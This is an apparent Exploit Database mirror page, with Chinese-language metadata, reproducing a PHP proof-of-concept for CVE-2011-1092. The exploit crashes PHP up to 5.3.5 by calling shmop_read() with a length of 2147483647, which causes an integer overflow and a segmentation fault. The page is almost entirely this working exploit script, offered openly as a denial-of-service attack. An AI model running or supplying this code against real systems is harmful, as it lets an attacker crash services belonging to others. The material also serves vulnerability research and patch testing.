PHP 5.3.6 – ‘shmop_read()’ Integer Overflow Denial of Service

Exploit Database
116 阅读

作者： Jose Carlos Norte

日期： 2011-03-12
类别：
- dos
平台：
- linux
来源：https://www.exploit-db.com/exploits/16966/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

<?php

# Exploit Title: PHP <=5.3.5 Integer Overflow DoS

# Date: 12-03-11

# Author: Jose Carlos Norte - www.rooibo.com

# Software Link: www.php.net

# Version: <= 5.3.5

# Tested on: Ubuntu Linux

# CVE : CVE-2011-1092

$shm_key = ftok(__FILE__, 't');

$shm_id = shmop_open($shm_key, "c", 0644, 100);

$shm_data = shmop_read($shm_id, 1, 2147483647);

//if there is no segmentation fault past this point, we have 2gb of memory!

//or we are in a patched php

echo "this php version is not vulnerable!";

?>